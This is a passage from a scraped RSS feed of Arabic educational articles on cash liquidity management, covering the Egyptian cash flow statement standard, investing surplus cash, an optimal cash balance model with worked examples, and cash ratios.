صافي الربح المحاسبي: 7600
أ- تسوية التغيرات في أرصدة الأصول والخصوم المتداولة غير النقدية:
الزيادة في المدينيين (عملاء وأوراق قبض) (500)
الزيادة في الدائنين (الموردون وأوراق الدفع) 200
الزيادة في مخزون بضائع بغرض البيع (1150)
الزيادة في مصروفات البيع والتوزيع المقدمة (50)
النقص في الفوائد الدائنة المستحقة 50
النقص في الفوائد  المدينة المستحقة (10)
الزيادة في إيرادات وأرباح متنوعة مقدمة 10
الزيادة في الضرائب على الدخل المستحقة 10
(1440)
ب- تسوية البنود غير النقدية:
الإهلاكات 150
مخصصات (بخلاف الإهلاك)  250
الديون المعدومة 80
مخصصات أنتفى الغرض منها (80)
400
جـ-تسوية البنود التي تؤثر على صافي الربح ولا تدخل ضمن التدفقات النقدية من أنشطة التشغيل:
أرباح بيع أصول ثابتة (200)
خسائر بيع أوراق مالية 40
(160)
صافي التدفقات النقدية من أنشطة التشغيل 6400

 

***

انتهت بحمد الله مقالات مسار كيم التعليمي لإدارة السيولة النقدية

بقلم أ. د/ سيف الإسلام

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -ادارة السيولة النقدية- بقلم أ. د/ سيف الإسلام- المقالة الرابعة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/cash_flow_management-4/feed/ 0 سلسلة مقالات -ادارة السيولة النقدية- بقلم أ. د/ سيف الإسلام- المقالة الثالثة https://cameknowledge.camecenter.com/articles/cash_flow_management-3/ https://cameknowledge.camecenter.com/articles/cash_flow_management-3/#respond Sat, 15 Apr 2023 12:51:16 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10481 سلسلة مقالات – إدارة السيولة النقدية بقلم أ . د/ سيف الإسلام المقالة الثالثة المعيار المحاسبي المصري رقم (4) قوائم التدفقات النقدية مقدمة : تعتبر النقدية شريان الحياة الرئيسي لأية منشأة، فالمنشأة تسدد مصروفاتها والتزاماتها من خلال النقدية، كما أنها تحصل على النقدية عن طريق مبيعاتها النقدية ومتحصلاتها من الإيرادات وحقوقها لدى الغير. وقد تعطي […]

The post سلسلة مقالات -ادارة السيولة النقدية- بقلم أ. د/ سيف الإسلام- المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة السيولة النقدية

بقلم أ . د/ سيف الإسلام

المقالة الثالثة

المعيار المحاسبي المصري رقم (4)

قوائم التدفقات النقدية

مقدمة :

تعتبر النقدية شريان الحياة الرئيسي لأية منشأة، فالمنشأة تسدد مصروفاتها والتزاماتها من خلال النقدية، كما أنها تحصل على النقدية عن طريق مبيعاتها النقدية ومتحصلاتها من الإيرادات وحقوقها لدى الغير.

وقد تعطي قائمة المركز المالي وقائمة الدخل لمنشأة الأعمال مؤشراً جيداً لسلامة العمل من الناحية المالية ومدى النجاح في أدائه ومدى قدرة المنشأة على تحقيق الأرباح، ولكنها لا تقدم معلومات مباشرة عن السمة الحاسمة لاستقرار ونجاح النشاط من حيث قدرته على تحقيق السيولة وقدرة المنشأة على الانتظام في سداد الالتزامات التي عليها.

لذلك برزت أهمية معرفة التدفقات النقدية Cash Flows ، وأحتلت قائمة التدفقات الندقية موقعاً هاماً ضمن القوائم المالية، وأصبح لازماً على المنشآت إعدادها.

نطاق المعيار:

  • يجب على المنشأة إعداد قائمة التدفقات النقدية وفقاً لمتطلبات هذا المعيار وينبغي عرض هذه القائمة كجزء متمم لقوائمها المالية.
  • يهتم مستخدمو القوائم المالية لمنشأة ما بالتعرف على الكيفية التي تعتمد عليها المنشأة في توليد واستخدام النقدية وما في حكمها.

أهمية عرض معلومات التدفقات النقدية:

  • توفر قائمة التدفقات النقدية مع باقي القوائم المالية المعلومات التي تمكن المستخدمين من تقييم التغيرات التي تحدث في صافي أصول المنشأة وفي هيكلها المالي، ومقدرتها على التأثير على مبالغ وتوقيت التدفقات النقدية من أجل أن تتوافق مع الظروف والفرص المتغيرة.
  • تعتبر المعلومات المتعلقة بالتدفقات النقدية مفيدة في تقييم مدى قدرة المنشأة على توليد النقدية وما في حكمها، وفي تقييم درجة السيولة وقدرة المنشأة على الوفاء بالتزاماتها.
  • تستخدم المعلومات المتعلقة بالتدفقات النقدية في تقييم وقياس مخاطر الاستثمارات المختلفة سواء كان ذلك في الأنشطة التشغيلية أو الأنشطة الاستثمارية أو الأنشطة التمويلية.
  • تستخدم المعلومات التاريخية المتعلقة بالتدفقات النقدية كأساس للتنبؤ بالتدفقات النقدية المستقبلية وتوقيت ومدى تأكد تحققها، كما تفيد أيضاً في فحص مدى دقة التقديرات السابق إعدادها للتدفقات النقدية وفي اختبار العلاقة بين الربحية وصافي التدفق النقدي.
  • تساعد المعلومات المتعلقة بالتدفقات النقدية مستخدميها من المستثمرين والمقرضين في التنبؤ بمقدار النقدية المتوقع سدادها في شكل أرباح أو فوائد، وهو ما يعتبر أحد المتغيرات الأساسية في تحديد القيمة الحالية للأوراق المالية.

تعاريف أساسية:

  • النقدية : تتضمن النقدية بالصندوق والودائع تحت الطلب.
  • ما في حكم النقدية: هي الاستثمارات قصيرة الأجل وعالية السيولة ويمكن تحويلها بسهولة إلي مبالغ نقدية.
  • التدفقات النقدية : هي التدفقات الداخلة والخارجة للنقدية وما في حكمها.
  • أنشطة التشغيل: هي الأنشطة الرئيسية المنتجة للإيراد بالمنشأة، والأنشطة الأخرى التي لا تمثل انشطة استثمار أو أنشطة تمويل.
  • أنشطة الاستثمار: هي أنشطة اقتناء واستبعاد الأصول طويلة الأجل والاستثمارات الأخرى التي لا تدخل في حكم النقدية.
  • أنشطة التمويل : هي الأنشطة التي ينتج عنها تغيرات في حجم ومكونات حقوق الملكية والاقتراض بالمنشأة.

تبويب التدفقات النقدية:

ينبغي أن تعرض التدفقات النقدية خلال الفترة مبوبة على كل من أنشطة التشغيل وأنشطة الاستثمار وأنشطة التمويل، وذلك على النحو التالي:

أولاً: أنشطة التشغيل :

تتمثل التدفقات النقدية من أنشطة التشغيل في التدفقات النقدية للصفقات والمعاملات المتعلقة بالتشغيل والمتاجرة، أي الأنشطة الخاصة بالإنتاج أو شراء البضاعة وبيع السلع والخدمات للعملاء.

وبالتالي فهي تشتمل على الأنشطة التي تولد الإيرادات الرئيسية للمنشأة، أي التي  تنشأ بصفة عامة من المعاملات والأحداث التي تدخل في تحديد صافي الربح أو الخسارة.

وتعتبر التدفقات النقدية الناتجة من أنشطة التشغيل مؤشراً رئيسياً عن مدى قدرة  عمليات المنشأة على توليد تدفقات نقدية كافية لإعادة سداد القروض، والاحتفاظ بالمقدرة التشغيلية للمنشأة، وسداد التوزيعات على الأسهم، وعمل استثمارات جديدة بدون الحاجة إلى الالتجاء إلى مصادر خارجية للتمويل.

ومن أمثلة التدفقات النقدية الناتجة من أنشطة التشغيل ما يلي :

  • المقبوضات النقدية من بيع البضائع وتقديم الخدمات.
  • المقبوضات النقدية من الأتاوات والأتعاب والعمولات والإيردات الأخرى.
  • المدفوعات النقدية للموردين سداداً لقيمة البضائع والخدمات.
  • المدفوعات النقدية للعاملين والمدفوعات النقدية بالنيابة عنهم (مثل ضريبة المرتبات).
  • المقبوضات والمدفوعات النقدية من وإلي شركات التأمين عن الأقساط والمطالبات والاشتراكات السنوية والمزايا الأخرى.
  • المدفوعات النقدية أو استردادات ضرائب الدخل، إلا إذا أمكن تحديد إنها ترتبط بأنشطة التمويل أوأنشطة الاستثمار على وجه الخصوص فيتم تبويها على هذا الأساس.
  • المقبوضات والمدفوعات النقدية من العقود والمحتفظ بها لأغراض المضاربة أو المتاجرة.

ثانياً: أنشطة الاستثمار :

تتمثل التدفقات النقدية من أنشطة الاستثمار في التدفقات النقدية للمعاملات المتعلقة باقتناء وبيع الأصول طويلة الأجل والاستثمارات طويلة الأجل.

ويعتبر الإفصاح عن التدفقات النقدية الناشئة من أنشطة الاستثمار مهماً حيث أنها تمثل مدى الإنفاق الذى تم للحصول على أصول من أجل توليد دخل مستقبلي وتدفقات نقدية.

ومن أمثلة التدفقات النقدية الناتجة من أنشطة الاستثمار ما يلي :

  • المدفوعات النقدية لاقتناء الأصول الثابتة والأصول غير الملموسة والأصول الأخرى طويلة الأجل.
  • المقبوضات النقدية من بيع الأصول الثابتة والأصول غير الملموسة والأصول الأخرى طويلة الأجل.
  • المدفوعات النقدية لاقتناء أسهم أو سندات في منشآت أخرى والحصص في الشركات المشتركة (بخلاف المدفوعات عن تلك الأوراق المالية التي تعتبر في حكم النقدية أو التي يحتفظ بها لأغراض التعامل أو المتاجرة فيها).
  • المقبوضات النقدية من بيع أسهم أو سندات بمنشأت أخرى والحصص في الشركات المشتركة (بخلاف المقبوضات عن تلك الأوراق المالية التي تعتبر في حكم النقدية أو التي يحتفظ بها لأغراض التعامل أو المتاجرة فيها).
  • الدفعات النقدية والقروض الممنوحة لأطراف أخرى (بخلاف الممنوحة عن طريق المؤسسات المالية).
  • المقبوضات النقدية من تحصيل الدفعات النقدية والقروض الممنوحة لأطراف أخرى (بخلاف الممنوحة عن طريق المؤسسات المالية).
  • المدفوعات النقدية لشراء عقود أجلة وعقود مستقبلية وعقود اختيارية وعقود مقايضة (ما لم تكن هذه العقود يحتفظ بها لأغراض التعامل أو المتاجرة فيها، أو المدفوعات التي تبوب على أنها أنشطة تمويلية).
  • المقبوضات النقدية من عقود أجلة وعقود مستقبلية وعقود اختيارية وعقود مقايضة (ما لم تكن هذه العقود يحتفظ بها لأغراض التعامل أو المتاجرة فيها، أو المقبوضات التي تبوب على أنها أنشطة تمويلية).

ثالثاً: أنشطة التمويل :

تتمثل التدفقات النقدية من أنشطة التمويل في التدفقات النقدية الناتجة من معاملات المنشأة مع ملاكها ومع مقرضيها.

ويعتبر الإفصاح المستقل للتدفقات النقدية الناشئة من أنشطة التمويل مهماً لأنه يساعد على التنبؤ باحتياجات ممولي المنشأة (مقدمي رأس المال والمقرضين) من التدفقات النقدية المستقبلية.

ومن أمثلة التدفقات النقدية الناتجة من أنشطة التمويل ما يلي :

  • المقبوضات النقدية الناشئة من إصدار الاسهم أو صكوك الملكية الأخرى.
  • المدفوعات النقدية للملاك لأقتناء أو استرداد أسهم المنشأة
  • المقبوضات النقدية من إصدار صكوك المديونية والقروض وأوراق الدفع والسندات والرهونات والسلفيات الأخرى قصيرة وطويلة الأجل.
  • السداد النقدي للمبالغ المقترضة.
  • المدفوعات النقدية التي يدفعها المستأجر لتخفيض الالتزام القائم المتعلق بالتأجير التمويلي.

ملاحظات على تبويب وعرض التدفقات النقدية :

  • قد تحتفظ المنشأة باسهم وسندات لأغراض التعامل أو المتاجرة فيها، لذلك فإن التدفقات النقدية التي تنشأ من شراء أو بيع الأوراق المالية التي يتم التعامل أو المتاجرة فيها يتم تبويبها على أنها أنشطة تشغيلية.
  • عند بيع بند من بنود الأصول الثابتة قد ينشأ ربحاً أو خسارة والذي يتم أخذهما في الاعتبار عند تحديد صافي الربح أو الخسارة ومع ذلك فإن التدفقات النقدية المتعلقة بمثل هذه المعاملات تمثل تدفقات نقدية من أنشطة الاستثمار.
  • تبوب الفوائد المدفوعة علي أنها تدفقات نقدية لنشاط التشغيل حيث أنها تؤثر في تحديد صافي الربح أو الخسارة. أو تبوب على إنها تدفقات لنشاط التمويل لأنها تمثل تكاليف الحصول على الموارد المالية.
  • تبوب الفوائد والتوزيعات المقبوضة على أنها تدفقات لنشاط التشغيل حيث أنها تؤثر في تحديد صافي الربح أو الخسارة. أو تبوب على أنها تدفقات لنشاط الاستثمار لانها تمثل عوائد على الاستثمارات.
  • تبوب توزيعات الأسهم المدفوعة على إنها تدفقات نقدية لنشاط التمويل لإنها تمثل تكاليف الحصول على الموارد المالية. أو تبوب على إنها تدفقات نقدية لنشاط التشغيل من أجل مساعدة مستخدمي القوائم المالية في التعرف على مقدره المنشأة على سداد توزيعات الأسهم من التدفقات النقدية الناشئة من التشغيل.
  • يمكن إعداد التدفقات النقدية لبعض أنشطة التشغيل والاستثمار والتمويل على الأساس الصافي ، وذلك للبنود التالية :
    • المقبوضات والمدفوعات النقدية نيابة عن العملاء عندما تعكس تلك التدفقات النقدية أنشطة العميل بدلاً من أن تعكس أنشطة المنشأة (مثل الإيجارات التي يتم تحصيلها نيابة عن ملاك العقار وسدادها لهم).
    • المقبوضات والمدفوعات النقدية للبنود التي يكون فيها معدل الدوران سريع وتكون مبالغها كبيرة وتواريخ استحقاقها قصيرة (مثل شراء وبيع الاستثمارات).
  • ينبغي تبويب التدفقات النقدية المتعلقة بالبنود غير العادية على أنها ناتجة عن أنشطة التشغيل أو الاستثمار أو التمويل (حسب نوعها) ويتم الإفصاح عنها بشكل منفصل كلما كان ذلك ملائماً.
  • ينبغي تسجيل التدفقات النقدية الناتجة عن المعاملات بالعملة الأجنبية بنفس العملة التي تستخدمها المنشأة في عرض قوائمها المالية وذلك باستخدام سعر الصرف الساري في تاريخ التدفق النقدي.

عرض التدفقات النقدية من أنشطة التشغيل :

       ينبغي على المنشأة عرض التدفقات النقدية من أنشطة التشغيل باستخدام أما الطريقة المباشرة أو الطريقة غير المباشرة، وذلك على النحو التالي :

1-الطريقة المباشرة :

والتي يتم بمقتضاها الافصاح عن الأنواع الرئيسية لإجمالي المقبوضات النقدية وإجمالي المدفوعات النقدية، وهي توفر معلومات قد تكون مفيدة في تقدير التدفقات النقدية المستقبلية.

وفقاً للطريقة المباشرة يمكن الحصول على معلومات عن النوعيات الرئيسية لإجمالي المقبوضات النقدية ولإجمالي المدفوعت النقدية إما :

(أ) من السجلات المحاسبية الخاصة بالمنشأة.

(ب) عن طريق تعديل المبيعات وتكلفة المبيعات والبنود الأخرى في قائمة الدخل بالنسبة لـ :

  • التغيرات التي حدثت أثناء الفترة في المخزون وحسابات مدينو ودائنو التشغيل.
  • البنود غير النقدية الأخرى.
  • البنود الأخرى التي يكون أثرها النقدي متعلق بالتدفقات النقدية لأنشطة الاستثمار أو أنشطة التمويل.

2-الطريقة غير المباشرة :

والتي يتم بمقتضاها تعديل صافي الربح أو الخسارة لمراعاة أثر المعاملات ذات الطبيعة غير النقدية، وأي تأجيل أو استحقاق لمقبوضات أو لمدفوعات التشغيل الماضية أو المستقبلية، وبنود الإيرادات أو المصروفات المتعلقة بالتدفقات النقدية للاستثمار أو التمويل.

وبالتالي يتم تعديل صافي الربح أو الخسارة بالأثار المتعلقة بالآتي :

  • التغيرات التي حدثت أثناء الفترة في المخزون وحسابات مدينو ودائنو التشغيل.
  • البنود غير النقدية مثل الأهلاك والمخصصات وأرباح وخسائر العملات الأجنبية غير المحققة وأرباح الشركات غير الموزعة وحقوق الأقلية.
  • جميع البنود الأخرى التي يكون أثرها النقدي متعلق بالتدفقات النقدية لأنشطة الاستثمار أو التمويل.

 

مزايا وعيوب الطريقتين المباشرة وغير المباشرة :

تتمثل مزايا وعيوب كل من الطريقة المباشرة والطريقة غير المباشرة فيما يلي:

مزايا الطريقة المباشرة :

  • الإفصاح عن المعلومات التي لا تظهر في موضع آخر في القوائم المالية، لذلك فهي توفر ميزة لمستخدمي المعلومات المالية.
  • تبين هذه الطريقة التدفقات النقدية الحقيقية التي تتضمنها العمليات التجارية للمنشأة.

عيوب الطريقة المباشرة:

– الجهد المرتبط بتجهيز واعداد المعلومات الخاصة بها، فنظراً لأن هذه المعلومات لا يفصح عنها في مكان آخر في القوائم المالية فإنه يترتب على ذلك بذل بعض الجهد في سبيل الحصول عليها.

مزايا الطريقة غير المباشرة :

  • يمكن للمستخدم من خلالها دراسة وفحص التسوية بين الربح المعلن عنه بالقوائم المالية وبين صافي التدفقات النقدية من الأنشطة التشغيلية، والربط بسهولة بين أرباح المتاجرة والتدفق النقدي.
  • إنخفاض الجهد المبذول في إعداد المعلومات الخاصة بها.

عيوب الطريقة غير المباشرة :

– عدم توفير المعلومات الكافية عن العناصر الأساسية للتدفقات النقدية.

مزايا قائمة التدفقات النقدية :

  • يمكنها أن تساعد مستخدمي القوائم المالية على إعداد التقديرات بالنسبة لكل من قيمة وتوقيت ودرجة التأكد من التدفقات النقدية المستقبلية.
  • تعطى مؤشرا عن العلاقة بين مستوى الربحية والقدرة على تحقيق النقدية.
  • تمكن المحلليين الماليين من إقتراح نماذج لتقييم ومقارنة القيمة الحالية للتدفقات النقدية المستقبلية للمنشآت.
  • توفر قائمة التدفقات النقدية بالإضافة إلي الميزانية معلومات عن مستوى السيولة والكفاءة وقابلية التكيف مع الظروف الحالية.
  • توفر معلومات عن التدفق النقدي والتي تكون مفيدة في تقييم مقدرة المنشأة على توليد النقدية وما في حكمها.

محددات قائمة التدفقات النقدية:

  • تعد قوائم التدفقات النقدية على أساس معلومات تاريخية لذلك فهي لا توفر معلومات كاملة لتقدير التدفقات النقدية المستقبلية.
  • يوجد بعض المجال للمناورة عند إعداد قائمة التدفقات النقدية، فمثلا يمكن لاحدى المنشآت أن تؤخر سداد مستحقات الموردين إلي ما بعد إنتهاء السنة المالية بحيث يتحدد الرصيد النقدي لصالحها.
  • التدفق النقدي ضروري للبقاء في السوق في المدى القصير، ولكنه لأجل البقاء على المدى الطويل فإن العمل يجب أن يكون مدراً للربح. فالرصيد النقدي الضخم ليس علامة على الإدارة الجيدة إذا ما أمكن استثمار النقدية في أي مجال آخر لتحقيق الربح.

فلا يمكن للتدفق النقدي (السيولة) أو الربح (الربحية) أن يستكملا صورة أداء الشركة إذا تم التعامل مع أي منهما بمعزل عن الآخر.

 

حالة عملية (1): فيما يلي بعض بيانات التدفقات النقدية خلال عام 2005 (بالآف الجنيهات):

متحصلات من مبيعات نقدية 340
متحصلات من العملاء 60
متحصلات من بيع أراضي 50
متحصلات من بيع أصول ثابتة أخرى 40
متحصلات من إصدارات أسهم جديدة 20
متحصلات من إصدار سندات 50
مشتريات بضاعة نقدا 260
مدفوعات للأجور ومصروفات التشغيل الأخرى 90
مدفوعات لشراء آلات ومعدات 80
مدفوعات لشراء لاستثمارات مالية 30
شراء أسهم خزانة 20
توزيعات نقدية على المساهمين 30

فإذا علمت أن رصيد النقدية أول الفترة 70000 جنيه.

المطلوب : إعداد قائمة التدفقات النقدية عن عام 2005.

***

انتهت بحمد الله المقالة الثالثة لمسار كيم التعليمي لإدارة السيولة النقدية

بقلم أ. د/ سيف الإسلام

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -ادارة السيولة النقدية- بقلم أ. د/ سيف الإسلام- المقالة الثالثة appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/cash_flow_management-3/feed/ 0 سلسلة مقالات -ادارة السيولة النقدية- بقلم أ. د/ سيف الإسلام- المقالة الثانية https://cameknowledge.camecenter.com/articles/cash_flow_management-2/ https://cameknowledge.camecenter.com/articles/cash_flow_management-2/#respond Sat, 15 Apr 2023 12:45:24 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10478 سلسلة مقالات – إدارة السيولة النقدية بقلم أ . د/ سيف الإسلام المقالة الثانية استثمار الفائض النقدى : يحدث الفائض النقدى فى أحد الحالتين الآتيتين :   الحالة الأولى : عندما تكون التدفقات النقدية الداخلة أكبر من التدفقات النقدية الخارجة ، وهذه الحالة يمكن أن تحدث فى تلك المنشآت التى يتسم نشاطها بالموسمية .   […]

The post سلسلة مقالات -ادارة السيولة النقدية- بقلم أ. د/ سيف الإسلام- المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – إدارة السيولة النقدية

بقلم أ . د/ سيف الإسلام

المقالة الثانية

استثمار الفائض النقدى :

يحدث الفائض النقدى فى أحد الحالتين الآتيتين :

 

الحالة الأولى :

عندما تكون التدفقات النقدية الداخلة أكبر من التدفقات النقدية الخارجة ، وهذه الحالة يمكن أن تحدث فى تلك المنشآت التى يتسم نشاطها بالموسمية .

 

الحالة الثانية :

عندما تتم التدفقات الداخلة فى وقت مبكر عن وقت حدوث التدفقات النقدية الخارجة ، وهذه الحالة يمكن أن تحدث فى المنشآت موسمية النشاط أيضاً ، أو فى بعض الحالات الخاصة مثل النقدية المحتجزة بغرض سداد المدفوعات النقدية عن الضرائب .

 

وفى كل الأحوال فإن الموقف الذى تواجهه المنشأة هو وجود فائض نقدى إذا لم يستثمـر فإنه يؤثر سلباً على ربحية المنشأة ، وبالتالى معدل العائد على المال المستثمر ، والعكس فإن استثمار هذا الفائض يؤثر إيجابياً على ربحية المنشأة وأيضاً معدل العائد على الاستثمار .

 

 

مثـال رقمـى :

بفرض أن الاستثمارات فى إحدى الشركات كانت كالآتى :

نقدية 2000 جنيه حسابات القبض 3000 جنيه
مخزون 5000 جنيه أصول ثابتة 10000 جنيه

 

وكان صافى الربح السنوى 4000 جنيه ، وظهر فى تقرير نتائج الأعمال وجود فائض نقدى قدره 1500 جنيه .

 

فإن أثر عدم استثمار الفائض النقدى على معدل العائد على الاستثمار فى هذه المنشأة يمكن إيضاحه على النحو التالى :

 

أولاً: العائد على الاستثمار فى ظل الفائض النقدى :

 

صافى الربح          4000

معدل العائد على الاموال المستثمرة = ــــــــــــــــــــ = ـــــــــــــــــ × 100 = 20 %

مجموع الأصول       20000

 

 

ثانياً: العائد على الاستثمار فى ظل عدم وجود فائض نقدى :

 

4000

معدل العائد على الاموال المستثمرة = ـــــــــــــــــ × 100 = 21.6  %

18500

 

ترتب على وجود فائض نقدى نقص فى معدل العائد على المال المستثمر قيمته

= 21.6 % – 20 % = 1.6 %

 

 

وبذلك نجد أن عدم أستثمار الفائض النقدى يؤثر سلباً على معدل العائد على الاستثمار بالإضافة الى أن أستثمار هذا الفائض سيؤدى الى خلق ربحية تزيد من معدل العائد على المال المستثمر .

 

أوجه استثمارات الفائض النقدى :

نظـراً لطـبيعة هـذا الفائض النقدى فهناك أوجه استثمار محددة يفضل الاستثمار فيها وهى :

1 – تكوين محفظة استثمار فى أوراق مالية ذات عائد ومستوى مخاطرة يتناسب مع ظروف المنشأة وتوقيت الحاجة الى نقدية .

2 – استثمار الفائض النقدى فى تنفيذ سياسة جيدة للإئتمان بما يعمل على نمو المبيعات ويترتب على ذلك زيادة معدل العائد على الأموال المستثمرة .

3 – فى حالة وجود فائض نقدى مستثمر يمكن إستخدام هذا الفائض فى عمليات التوسع الأفقى والرأسى فى نشاط المنشأة .

 

 

تحديد الرصيد النقدى المناسب :

لتحـديد الرصـيد النقـدى المناسب هناك مجموعة من النماذج  والتى سنقوم بتناول أحدها ، والذى يهدف الى تحديد الرصيد النقدى الأمثل والذى يضمن عدم تعرض المنشأة لنقص فى النقدية أو وجود فائض فيها .

 

 

 

 

 

 

وهناك نوعين من التكلفة يجب أخذها فى الاعتبار عند تطبيق هذا النموذج :

الأول: التكاليف الخاصة بعدم كفاية الرصيد النقدى :

وهى التكلفة التى تتحملها المنشأة من أعباء مالية فى سبيل الحصول على النقدية المطلوبة .

 

الثانى :تكلفة الفرصة البديلة:

وهى التكلفة الناتجة عن وجود فائض نقدى غير مستثمر وهى معدل الفائدة الذى كان يمكن الحصول عليه فى حالة استثمار الفائض النقدى .

 

 

ويمكن التعبير عن هذا النموذج بالمعادلة الآتية :

 

 

 

  2ت أ

ق =      ــــــــــ

          ف

 

حيث :

ق : الحجم الأمثل للنقدية واالذى يجب تدبيره من مصادر خارجية .

ت: تكلفة الحصول على نقدية (إذا كان هناك عجز فى الرصيد النقدى) .

ف: تكلفة الفرصة البديلة (معدل الفائدة المفقود لعدم إستثمار الفائض النقدى) .

أ  :  الزيادة فى التدفقات النقدية الخارجة عن التدفقات النقدية الداخلة .

 

مثـال رقمـى :

بفرض أن الاحتياجات النقدية للمنشاة خلال الفترة القادمة والناتجة عن زيادة التدفقات النقدية الخارجة عن التدفقات النقدية الداخلة بمبلغ 20000 جنيه ، وتتحمل المنشأة تكلفة قدرها 3200 جنيه عندما تواجه العجز فى النقدية ، وتضطر لذلك للحصول على نقدية من مصادر أخرى ، كما تقدر تكلفة الفرصة المضاعة الناتجة عن وجود فائض نقدى غير مستثمر بمقدار 2 % ، فإنه الحجم الأمثل للرصيد النقدى يتحدد من خلال العلاقة الآتيه :

 

2 × 3200 × 20000

ق =    ـــــــــــــــــــــــــ = 80000 جنيه

0.02

 

معنى ذلك أن أفضل كميـة مـن النقدية يجب أن تحصل عليها المنشأة هى 80000 جنيه سنوياً ، وهذه الكمية يتم الحصول عليها على أربع فترات تم تحديدها كما يلى :

عدد الفترات = الحجم الأمثل للرصيد النقدى ÷ الحد الأقصى المتوقع للعجز النقدى

= 80000 ÷ 20000 = 4 فترات .

 

استخدام النسب المالية فى تحليل الموقف النقدى :

        هناك مجموعة من النسب المالية يمكن للمنشاة أن تستخدمها فى تحليل موقف النقدية ، وهذه النسب تعتبر بمثابة أداة مساعدة لمعرفة إتجاه الموقف النقدى للمنشأة ، وللتعرف على إتجاه الموقف النقدى هناك طريقتين :

الأولـى : مقارنة قيمة هذه النسب المالية بالسنوات الماضية لنفس المنشأة .

الثانية : مقارنة قيمة هذه النسب المالية بالمتوسطات الخاصة بالصناعة .

 

 

 

ومن أهم هذه النسب:

 

النقديــة

أ – نسبة النقدية الى المبيعات = ــــــــــــــــــ × 100

المبيعات

 

 

النقديــة

ب – نسبة النقدية الى الأصول المتداولة = ــــــــــــــــــ × 100

الأصول المتداولة

 

 

    النقديــة

ج – نسبة النقدية الى الخصوم المتداولة = ـــــــــــــــــــ × 100

الخصوم المتداولة

 

ولبيان كيفية استخدام هذه النسب فى تحليل الموقف النقدى للمنشأة نفترض النسب التالية :

 

النسبة السنة الحالية السنة الماضية متوسط الصناعة
نسبة النقدية للمبيعات 45% 55% 50%
نسبة النقدية للأصول المتداولة 10% 12% 11%
نسبة النقدية للخصوم المتداولة 8% 10% 8%

 

ولتحليل الموقف النقدى الخاص بالمنشأة يمكن إستخدام الرسوم البيانية كما فى الشكل التالى :

ويوضح الرسم السابق النواحى التالية :

1 –  بالنسبة لنسبة النقدية الى المبيعات فتعتبر فى وضع غير جيد هذا العام مقارنة بمعدلات الصناعة أساساً وقد كانت أفضل فى السنة الماضية .

2 –  أن الوضع بالنسبة لنسبة النقدية الى الأصول المتداولة وكذلك نسبة النقدية للخصوم المتداولة يعتبر أفضل فيما يتعلق بالوضع الحالى إذ تتساوى النسب الحالية مع النسب السائدة فى الصناعـة ، وتوضـح هذه النسب الخاصة بالوضع الحالى تحسن فى وضع المنشأة عن العام الماضى ، حيث يتضح أن المنشأة فى العام الماضى كانت تحتفظ بمزيد من النقدية عن الحد المتعارف عليه فى الصناعة بما يوضح وجود فائض نقدى .

***

انتهت بحمد الله المقالة الثانية لمسار كيم التعليمي لإدارة السيولة النقدية

بقلم أ. د/ سيف الإسلام

أستاذ المحاسبة والمراجعة – كلية التجارة – جامعة القاهرة

– تابعنا على صفحة موسوعة كيم لتنمية المهارات وبناء القدرات

أو تواصل معنا  ( مركز الخبرات الإدارية والمحاسبية / كيم ) على رقم جوال أو واتس أب : 00201005289720

====================

هذه المادة محمية بحقوق الملكية لمركز كيم للتدريب والإستشارات ولايحوز الاقتباس منها الا بعد اذن كتابي من المالك CAME CENTER

اعداد / حمدي حسن – نائب مدير التدريب بمركز كيم

The post سلسلة مقالات -ادارة السيولة النقدية- بقلم أ. د/ سيف الإسلام- المقالة الثانية appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> https://cameknowledge.camecenter.com/articles/cash_flow_management-2/feed/ 0 سلسلة مقالات -ادارة السيولة النقدية- بقلم أ. د/ سيف الإسلام- المقالة الأولى https://cameknowledge.camecenter.com/articles/cash_flow_management-1/ https://cameknowledge.camecenter.com/articles/cash_flow_management-1/#respond Sat, 15 Apr 2023 12:39:37 +0000 https://cameknowledge.camecenter.com/?post_type=manual_kb&p=10475 سلسلة مقالات – ادارة السيولة النقدية بقلم أ . د/ سيف الإسلام المقالة الأولى إدارة السيولـة النقديـة مقدمـة : السيولة Liquidity  فى معناها المطلق تعنى النقدية Cash Money ، أما السيولة بمعناها المالى فتعنى قابلية الأصل للتحويل إلى نقدية بسرعة وبدون خسائر ، وحيث أن الهدف من الاحتفـاظ بأصـول سائلـة هو مواجهة الالتزامات المستحقة الأداء […]

The post سلسلة مقالات -ادارة السيولة النقدية- بقلم أ. د/ سيف الإسلام- المقالة الأولى appeared first on CAME Knowledge موسوعة مركز كيم لتنمية المهارات والقدرات.

]]> سلسلة مقالات – ادارة السيولة النقدية

بقلم أ . د/ سيف الإسلام

المقالة الأولى

إدارة السيولـة النقديـة

مقدمـة :

